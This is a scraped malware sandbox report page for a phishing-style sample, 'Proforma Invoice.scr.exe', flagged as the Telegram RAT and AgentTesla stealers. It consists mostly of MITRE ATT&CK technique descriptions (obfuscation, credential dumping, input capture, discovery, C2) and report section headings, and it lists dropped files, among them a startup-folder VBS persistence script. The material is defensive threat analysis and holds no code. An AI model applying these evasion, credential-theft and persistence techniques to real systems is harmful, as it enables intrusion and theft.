Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Proforma Invoice.scr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\EncoderFallback.exe

C:\Users\user\AppData\Roaming\EncoderFallback.exe:Zone.Identifier

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EncoderFallback.vbs

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Windows Analysis Report
Proforma Invoice.scr.exe

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre